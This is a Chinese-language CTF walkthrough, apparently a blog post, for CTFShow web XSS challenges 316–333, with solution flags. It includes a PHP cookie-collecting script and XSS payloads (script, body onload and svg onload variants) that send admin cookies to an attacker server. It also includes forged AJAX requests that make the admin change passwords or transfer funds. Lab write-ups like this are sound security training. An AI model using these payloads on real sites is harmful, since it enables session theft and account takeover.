CTFShow Web 入门 XSS

web 316:

写入<script>alert('1');</script>,可以弹框

这关的flag藏在admin管理员的cookie中

在云服务器上写个接收cookie的php的文件,名为cookie.php

<?php
echo 'hello';
if(isset($_GET['cookie'])) {
    $cookie = $_GET['cookie'];
    
    // 过滤和清理用户输入
    $cookie = htmlspecialchars($cookie); // 过滤特殊字符
    // 其他可能的过滤和验证

    // 写入文件
    $myfile = fopen('cookie.txt', 'a');
    if ($myfile !== false) {
        fwrite($myfile, $cookie."\n");
        fclose($myfile);
        echo 'Cookie 已成功写入文件。';
    } else {
        echo '无法打开文件进行写入。';
    }
} else {
    echo '未提供 cookie 数据。';
}
?>

然后再输入

<script>window.location.href='http://服务器IP/cookie.php?cookie='+document.cookie</script>

当将这行脚本代码提交后,稍等片刻,会有个类似admin管理员的程序每隔一段时间就查看我们提交的连接,然后就可以拿到admin的cookie

flag=ctfshow{9c501b87-a597-4443-9bd6-87d752fa3284}

web317:

这一关和上一关一样,但是过滤掉了script,可以使用<body οnlοad="alert(1)">来实现xss攻击

然后输入

<body onload="window.location.href='http://服务器IP/cookie.php?cookie='+document.cookie">

flag=ctfshow{9d14b10e-d44f-4926-9cba-bbc3693f32ca}

web318:

和上题一样

flag=ctfshow{d92630f8-fdc4-47ee-a888-f1b5f60ef79d}

web319:

过滤了script和body,可以用<svg οnlοad="">

<svg onload="window.location.href='http://服务器IP/cookie.php?cookie='+document.cookie">

flag=ctfshow{b0f0f494-d205-4eb3-b379-37c851179e89}

web320:

此题在上面的基础上还多过滤了空格

<svg/onload="window.location.href='http://服务器IP/cookie.php?cookie='+document.cookie">

flag=ctfshow{a257a23e-6fa2-4b53-ad81-f564df299b3e}

web321:

以下一直到326都和上题一样解法

flag=ctfshow{c4aec5b4-9e81-4323-b478-56e7493c2eee}

web322:

flag=ctfshow{44ce31c8-9fa0-4e0a-a9c0-347c20453886}

web323:

flag=ctfshow{f89262ce-5b4a-429e-baf7-bb3f7847ee8d}

web324:

flag=ctfshow{14342443-7f35-47ff-8e17-7ad8c2abe50d}

web325:

flag=ctfshow{290661e7-2d52-4950-b29c-e56a9f1af757}

web326:

flag=ctfshow{0f2a48aa-5bda-4ff0-a942-ec08c19fc5b8}

web327:

web328:

注册用户名和密码都设置为js脚本

<script>window.open('http://服务器IP/cookie.php?cookie='+document.cookie)</script>

服务器上接收到admin的cookie

然后再访问用户管理界面,用burp抓包,将cookie改成admin的cookie

ctfshow{62c669e9-8c1e-4dd7-92f7-824a307a64dd}

web329:

和上题一样,但是过滤了script,用<svg οnlοad="">标签

<svg/onload="window.location.href='http://服务器IP/cookie.php?cookie='+document.cookie">

拿到admin的cookie

访问用户管理页面,抓包将cookie改成admin的

ctfshow{6c255619-b25f-43fe-a486-6081d9079021}

web330:

这一题用上一题的做法就不行,这一题admin的cookie是一直在变的,而且很快,看到此题还有修改密码的功能,注册个普通账号,在修改密码时抓包

可以利用xss漏洞让admin自己修改密码

然后登录admin账号,密码输入123456

然后抓包访问用户管理页面

得到flag=ctfshow{09efa23e-ba7c-4b0d-98d4-9b0efc87db9f}

web331:

继续创建用户修改密码抓包,发现这次是修改密码是post请求的

将payload修改成post请求即可

<script>$.ajax({url:'http://127.0.0.1/api/change.php',type:'post',data:{p:'123'}})</script>

flag=ctfshow{c96f442e-48ce-4a50-8e2e-686595c13808}

web332:

方法一:

这道题它代码逻辑有问题,转账的不扣转账方的金额,所以可以一直向自己转账,转的金额不超过自己余额即可

方法二:

可以给admin转-10000

方法三:

直接让admin转自己10000,和上题让admin自己改密码思路是一样的

先用burp抓转账的包

构造payload

<script>$.ajax({url:'http://127.0.0.1/api/amount.php',type:'post',data:{u:'tang',a:'10000'}})</script>

然后用payload注册用户

转账成功,购买flag

ctfshow{ae7a9be2-963c-40f9-b10b-4bfebce9ac76}

web333:

和上题一样,除了不能转自己-10000

ctfshow{2a7ad06d-9875-472e-bec6-d7ad70f345e1}

  • 36
    点赞
  • 27
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值